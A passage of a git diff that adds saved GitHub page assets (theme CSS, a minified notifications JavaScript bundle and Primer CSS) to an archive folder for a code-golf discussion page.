rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}} + +/*# sourceMappingURL=light-4a4c63a331c1.css.map*/ \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js new file mode 100644 index 0000000..4d11df4 --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var x=Object.defineProperty;var u=(_,L)=>x(_,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["notifications-global"],{7679:(_,L,g)=>{g.d(L,{H:()=>f,v:()=>y});var s=g(59753);function y(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}u(y,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}u(f,"hideGlobalError"),(0,s.on)("deprecatedAjaxError","[data-remote]",function(l){const b=l.detail,{error:A,text:D}=b;l.currentTarget===l.target&&(A==="abort"||A==="canceled"||(/{g.d(L,{Bt:()=>b,DN:()=>w,KL:()=>p,Se:()=>D,qC:()=>k,sw:()=>I});var s=g(59753),y=g(2061),f=g(7679);(0,s.on)("click",".js-remote-submit-button",async function(a){const h=a.currentTarget.form;a.preventDefault();let v;try{v=await fetch(h.action,{method:h.method,body:new FormData(h),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}v&&!v.ok&&(0,f.v)()});function l(a,n,h){return a.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:h}))}u(l,"fire");function b(a,n){n&&(A(a,n),(0,y.j)(n)),l(a,"submit",!0)&&a.submit()}u(b,"requestSubmit");function A(a,n){if(!(a instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(n instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(n.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!a||a!==n.form)throw new Error("The specified element is not owned by the form element.")}u(A,"checkButtonValidity");function D(a,n){if(typeof n=="boolean")if(a instanceof HTMLInputElement)a.checked=n;else throw new TypeError("only checkboxes can be set to boolean value");else{if(a.type==="checkbox")throw new TypeError("checkbox can't be set to string value");a.value=n}l(a,"change",!1)}u(D,"changeValue");function w(a,n){for(const h in n){const v=n[h],C=a.elements.namedItem(h);(C instanceof HTMLInputElement||C instanceof HTMLTextAreaElement)&&(C.value=v)}}u(w,"fillFormValues");function I(a){if(!(a instanceof HTMLElement))return!1;const n=a.nodeName.toLowerCase(),h=(a.getAttribute("type")||"").toLowerCase();return n==="select"||n==="textarea"||n==="input"&&h!=="submit"&&h!=="reset"||a.isContentEditable}u(I,"isFormField");function c(a){return new URLSearchParams(a)}u(c,"searchParamsFromFormData");function p(a,n){const h=new URLSearchParams(a.search),v=c(n);for(const[C,T]of v)h.append(C,T);return h.toString()}u(p,"combineGetFormSearchParams");function k(a){return c(new FormData(a)).toString()}u(k,"serialize")},2061:(_,L,g)=>{g.d(L,{j:()=>s,u:()=>y});function s(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let b=y(l);if(f.name){const A=f.matches("input[type=submit]")?"Submit":"",D=f.value||A;b||(b=document.createElement("input"),b.type="hidden",b.classList.add("is-submit-button-value"),l.prepend(b)),b.name=f.name,b.value=D}else b&&b.remove()}u(s,"persistSubmitButtonValue");function y(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}u(y,"findPersistedSubmitButtonValue")},55089:(_,L,g)=>{var s=g(90420),y=Object.defineProperty,f=Object.getOwnPropertyDescriptor,l=u((e,t,r,i)=>{for(var o=i>1?void 0:i?f(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&y(t,r,o),o},"__decorateClass");let b=u(class extends HTMLElement{constructor(){super();this.addEventListener("socket:message",this.update.bind(this))}update(e){const t=e.detail.data;!this.link||!this.modifier||(this.link.setAttribute("aria-label",t.aria_label),this.link.setAttribute("data-ga-click",t.ga_click),this.modifier.setAttribute("class",t.span_class))}},"NotificationIndicatorElement");l([s.fA],b.prototype,"link",2),l([s.fA],b.prototype,"modifier",2),b=l([s.Ih],b);var A=g(7679),D=g(56238),w=Object.defineProperty,I=Object.getOwnPropertyDescriptor,c=u((e,t,r,i)=>{for(var o=i>1?void 0:i?I(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&w(t,r,o),o},"notifications_list_subscription_form_element_decorateClass");let p=u(class extends HTMLElement{constructor(){super(...arguments);this.lastAppliedLabels={}}connectedCallback(){const e=this.querySelector(".js-label-subscriptions-load");e==null||e.addEventListener("loadend",()=>{this.subscriptionsLabels.length>0&&(this.updateCheckedState("custom"),this.updateMenuButtonCopy("custom"))})}async submitCustomForm(e){await this.submitForm(e),this.closeMenu()}async submitForm(e){e.preventDefault(),(0,A.H)();const t=e.currentTarget,r=new FormData(t),i=await self.fetch(t.action,{method:t.method,body:r,headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!i.ok){(0,A.v)();return}const o=await i.json(),d=r.get("do");typeof d=="string"&&this.updateCheckedState(d),typeof d=="string"&&this.updateMenuButtonCopy(d),this.updateSocialCount(o.count),this.applyInputsCheckedPropertiesToAttributesForNextFormReset()}updateMenuButtonCopy(e){this.unwatchButtonCopy.hidden=!(e==="subscribed"||e==="custom"),this.stopIgnoringButtonCopy.hidden=e!=="ignore",this.watchButtonCopy.hidden=!(e!=="subscribed"&&e!=="custom"&&e!=="ignore")}applyInputsCheckedPropertiesToAttributesForNextFormReset(){for(const e of[...this.threadTypeCheckboxes])e.toggleAttribute("checked",e.checked)}updateCheckedState(e){for(const t of this.subscriptionButtons)t.setAttribute("aria-checked",t.value===e?"true":"false");if(e==="custom")this.customButton.setAttribute("aria-checked","true");else{this.customButton.setAttribute("aria-checked","false");for(const t of[...this.threadTypeCheckboxes])(0,D.Se)(t,!1);if(this.subscriptionsContainer!==void 0){for(let t=0;t{var t;(t=this.customDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}enableApplyButtonAndCheckbox(){this.customDialog.querySelectorAll('[data-type="label"]:not([hidden])').length>0&&(this.customSubmit.removeAttribute("disabled"),this.threadTypeCheckboxes[0].checked=!0)}closeCustomDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!1),this.customDialog.toggleAttribute("hidden",!0),setTimeout(()=>{this.customButton.focus()},0)}resetFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation();for(let t=0;t{var t;(t=this.filterLabelsDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}closeFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!0),this.customDialog.toggleAttribute("hidden",!1),this.filterLabelsDialog.toggleAttribute("hidden",!0)}applyFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.saveCurrentLabelsState(),this.hideFilterSubtitle(),this.enableIssuesCheckbox(),this.closeFilterLabelsDialog(e)}enableIssuesCheckbox(){const e=Object.keys(this.lastAppliedLabels).length>0;e&&this.threadTypeCheckboxes.length>0&&(this.threadTypeCheckboxes[0].checked=e),this.threadTypeCheckboxesUpdated()}hideFilterSubtitle(){const e=Object.keys(this.lastAppliedLabels).length>0;this.subscriptionsSubtitle.toggleAttribute("hidden",e)}saveCurrentLabelsState(){this.lastAppliedLabels={},this.labelInputs.innerHTML="";for(let e=0;et.checked);this.customSubmit.disabled=e}closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsListSubscriptionFormElement");c([s.fA],p.prototype,"details",2),c([s.fA],p.prototype,"menu",2),c([s.fA],p.prototype,"customButton",2),c([s.fA],p.prototype,"customDialog",2),c([s.fA],p.prototype,"filterLabelsDialog",2),c([s.GO],p.prototype,"subscriptionButtons",2),c([s.GO],p.prototype,"subscriptionsLabels",2),c([s.fA],p.prototype,"labelInputs",2),c([s.fA],p.prototype,"subscriptionsSubtitle",2),c([s.fA],p.prototype,"socialCount",2),c([s.fA],p.prototype,"unwatchButtonCopy",2),c([s.fA],p.prototype,"stopIgnoringButtonCopy",2),c([s.fA],p.prototype,"watchButtonCopy",2),c([s.GO],p.prototype,"threadTypeCheckboxes",2),c([s.fA],p.prototype,"customSubmit",2),c([s.fA],p.prototype,"subscriptionsContainer",2),c([s.GO],p.prototype,"dialogLabelItems",2),p=c([s.Ih],p);var k=Object.defineProperty,a=Object.getOwnPropertyDescriptor,n=u((e,t,r,i)=>{for(var o=i>1?void 0:i?a(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&k(t,r,o),o},"notifications_team_subscription_form_element_decorateClass");let h=u(class extends HTMLElement{closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsTeamSubscriptionFormElement");n([s.fA],h.prototype,"details",2),h=n([s.Ih],h);var v=Object.defineProperty,C=Object.getOwnPropertyDescriptor,T=u((e,t,r,i)=>{for(var o=i>1?void 0:i?C(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&v(t,r,o),o},"notifications_subscriptions_dialog_label_item_decorateClass");let E=u(class extends HTMLElement{toggleDropdownLabel(e){if(e.preventDefault(),e.stopPropagation(),this.label){const t=this.label.getAttribute("aria-checked")==="true";this.setCheckedForDropdownLabel(!t),this.dispatchEvent(new CustomEvent("notifications-dialog-label-toggled",{detail:{wasChecked:t,toggledLabelId:this.labelId,templateLabelElementClone:this.hiddenLabelTemplate.cloneNode(!0)},bubbles:!0}))}}setCheckedForDropdownLabel(e){this.label.setAttribute("aria-checked",e.toString())}},"NotificationsDialogLabelItemElement");T([s.fA],E.prototype,"label",2),T([s.fA],E.prototype,"hiddenLabelTemplate",2),T([s.fA],E.prototype,"hiddenCheckboxInput",2),T([s.Lj],E.prototype,"labelId",2),E=T([s.Ih],E)}},_=>{var L=u(s=>_(_.s=s),"__webpack_exec__");_.O(0,["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51"],()=>L(55089));var g=_.O()}]);})(); + +//# sourceMappingURL=notifications-global-efb6b04b1517.js.map \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css new file mode 100644 index 0000000..81c8b42 --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css @@ -0,0 +1,13 @@ +:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{color-scheme:light}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{color-scheme:light}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{color-scheme:light}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{color-scheme:dark}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{color-scheme:dark}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{color-scheme:dark}}[data-color-mode]{color:var(--color-fg-default);background-color:var(--color-canvas-default)}@media(forced-colors: active){body{--color-accent-emphasis: Highlight;--color-fg-on-emphasis: LinkText}}/*! + * @primer/css/core + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.ActionList{padding:8px}.ActionList--full{padding:0}.ActionList--subGroup{padding:0}.ActionList--divided .ActionList-item-label::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline .ActionList-item-label::before{content:unset}.ActionList--divided .ActionList-item--navActive .ActionList-item-label::before,.ActionList--divided .ActionList-item--navActive+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-label::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-descriptionWrap--inline::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}.ActionList--tree{--ActionList-tree-depth: 1}.ActionList--tree .ActionList-item--subItem>.ActionList-content{font-size:14px}.ActionList--tree .ActionList-item.ActionList-item--singleton .ActionList-content{padding-left:32px}.ActionList--tree .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup{position:relative}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:calc(8px * var(--ActionList-tree-depth))}.ActionList--tree .ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(0deg)}.ActionList--tree .ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(-90deg)}.ActionList--tree .ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-item--hasSubItem .ActionList-item--subItem:not(.ActionList-item--hasSubItem) .ActionList-content>span:first-child{padding-left:24px}.ActionList--tree>[aria-level="1"].ActionList-item--hasSubItem>.ActionList--subGroup::before{position:absolute;left:16px;width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--tree .ActionList-item--hasSubItem:not([aria-level="1"])>.ActionList--subGroup::before{position:absolute;left:calc(8px * (var(--ActionList-tree-depth)) + 7px);width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList-item{position:relative;list-style:none;background-color:transparent;border-radius:6px}.ActionList-item:hover,.ActionList-item:active{cursor:pointer}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):hover:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}}.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background:var(--color-action-list-item-default-active-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):active:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{animation:ActionList-item-active-bg 4s forwards cubic-bezier(0.33, 1, 0.68, 1)}}@keyframes ActionList-item-active-bg{50%{box-shadow:inset 0 2px 12px 6px rgba(var(--color-canvas-default), 0.4);transform:scale(1)}100%{transform:scale(0.97)}}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}}.ActionList-item:not(.ActionList-item--hasSubItem):active .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):active+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content{z-index:1}@media(hover: hover){.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background-color:var(--color-action-list-item-default-active-bg)}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:600}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background:var(--color-action-list-item-default-selected-bg)}@media(hover: hover){.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::before,.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)+.ActionList-item::before{visibility:hidden}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectCheckmark{visibility:visible;opacity:1;transition:visibility 0 linear 0,opacity 50ms}.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{visibility:visible}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{animation:checkmarkIn 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-accent-fg);stroke:var(--color-accent-fg);stroke-width:1px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark{fill:var(--color-fg-on-emphasis)}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectCheckmark{visibility:hidden;opacity:0;transition:visibility 0 linear 50ms,opacity 50ms}.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{visibility:hidden;transition:visibility 0s linear 200ms;-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{animation:checkmarkOut 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);stroke:var(--color-border-default);stroke-width:1px}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);border:1px solid var(--color-border-default)}@keyframes checkmarkIn{from{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}to{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}}@keyframes checkmarkOut{from{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}to{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}}.ActionList-item.ActionList-item--danger .ActionList-item-label{color:var(--color-danger-fg)}.ActionList-item.ActionList-item--danger .ActionList-item-visual{color:var(--color-danger-fg)}@media(hover: hover){.ActionList-item.ActionList-item--danger:hover{background:var(--color-action-list-item-danger-hover-bg)}.ActionList-item.ActionList-item--danger:hover .ActionList-item-label{color:var(--color-action-list-item-danger-hover-text)}}.ActionList-item.ActionList-item--danger .ActionList-content:active{background:var(--color-action-list-item-danger-active-bg)}.ActionList-item .ActionList{padding:unset}.ActionList-content{position:relative;display:grid;width:100%;padding:6px 8px;font-size:14px;font-weight:400;color:var(--color-fg-default);text-align:left;-webkit-user-select:none;user-select:none;background-color:transparent;border:none;border-radius:6px;transition:background 33.333ms linear;touch-action:manipulation;touch-action:manipulation;-webkit-tap-highlight-color:transparent;grid-template-rows:min-content;grid-template-areas:"leadingAction leadingVisual label trailingVisual trailingAction";grid-template-columns:min-content min-content minmax(0, auto) min-content min-content;align-items:start}.ActionList-content>:not(:last-child){margin-right:8px}.ActionList-content:hover{text-decoration:none}.ActionList-content:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content:focus:not(:focus-visible){outline:solid 1px transparent}.ActionList-content:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content[aria-disabled=true] .ActionList-item-label,.ActionList-content[aria-disabled=true] .ActionList-item-description{color:var(--color-primer-fg-disabled)}.ActionList-content[aria-disabled=true] .ActionList-item-visual{fill:var(--color-primer-fg-disabled)}@media(hover: hover){.ActionList-content[aria-disabled=true]:hover{cursor:not-allowed;background-color:transparent}}@media screen and (prefers-reduced-motion: no-preference){.ActionList-content[aria-expanded]+.ActionList--subGroup{transition:opacity 160ms cubic-bezier(0.25, 1, 0.5, 1),transform 160ms cubic-bezier(0.25, 1, 0.5, 1)}}.ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:24px}.ActionList-content[aria-expanded].ActionList-content--visual16+.ActionList--subGroup .ActionList-content{padding-left:32px}.ActionList-content[aria-expanded].ActionList-content--visual20+.ActionList--subGroup .ActionList-content{padding-left:36px}.ActionList-content[aria-expanded].ActionList-content--visual24+.ActionList--subGroup .ActionList-content{padding-left:40px}.ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(-1)}.ActionList-content[aria-expanded=true]+.ActionList--subGroup{height:auto;overflow:visible;visibility:visible;opacity:1;transform:translateY(0)}.ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(1)}.ActionList-content[aria-expanded=false]+.ActionList--subGroup{height:0;overflow:hidden;visibility:hidden;opacity:0;transform:translateY(-16px)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem{background:var(--color-action-list-item-default-selected-bg)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem .ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::before,.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem+.ActionList-item::before{visibility:hidden}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-content.ActionList-content--sizeMedium{padding:10px 8px}.ActionList-content.ActionList-content--sizeLarge{padding:14px 8px}.ActionList-content.ActionList-content--fontSmall{font-size:12px}@media(pointer: coarse){.ActionList-content{padding:14px 8px}}.ActionList-content.ActionList-content--blockDescription .ActionList-item-visual{place-self:start}.ActionList-item-action--leading{grid-area:leadingAction}.ActionList-item-visual--leading{grid-area:leadingVisual}.ActionList-item-label{grid-area:label}.ActionList-item-visual--trailing{grid-area:trailingVisual}.ActionList-item-action--trailing{grid-area:trailingAction}.ActionList-item-descriptionWrap{grid-area:label;display:flex;flex-direction:column}.ActionList-item-descriptionWrap .ActionList-item-description{margin-top:4px}.ActionList-item-descriptionWrap .ActionList-item-label{font-weight:600}.ActionList-item-descriptionWrap--inline{position:relative;flex-direction:row;align-items:baseline}.ActionList-item-descriptionWrap--inline .ActionList-item-description{margin-left:8px}.ActionList-item-description{font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted)}.ActionList-item-visual,.ActionList-item-action{display:flex;min-height:20px;color:var(--color-fg-muted);pointer-events:none;fill:var(--color-fg-muted);align-items:center}.ActionList-item-label{position:relative;font-weight:400;line-height:20px;color:var(--color-fg-default)}.ActionList-item-label--truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ActionList-item--subItem>.ActionList-content{font-size:12px}.ActionList-sectionDivider:not(:empty){display:flex;padding:6px 8px;font-size:12px;font-weight:600;color:var(--color-fg-muted);flex-direction:column}.ActionList-sectionDivider:empty{display:block;height:1px;padding:0;margin:7px -8px 8px;list-style:none;background:var(--color-action-list-item-inline-divider);border:0}.ActionList-sectionDivider .ActionList-sectionDivider-title{font-size:12px;font-weight:600;color:var(--color-fg-muted)}.ActionList-sectionDivider--filled{margin:8px -8px;background:var(--color-canvas-subtle);border-top:1px solid var(--color-action-list-item-inline-divider);border-bottom:1px solid var(--color-action-list-item-inline-divider)}.ActionList-sectionDivider--filled:empty{height:8px;box-sizing:border-box}.ActionList-sectionDivider--filled:first-child{margin-top:0}/*! normalize.css v4.1.1 | MIT License | github.com/necolas/normalize.css 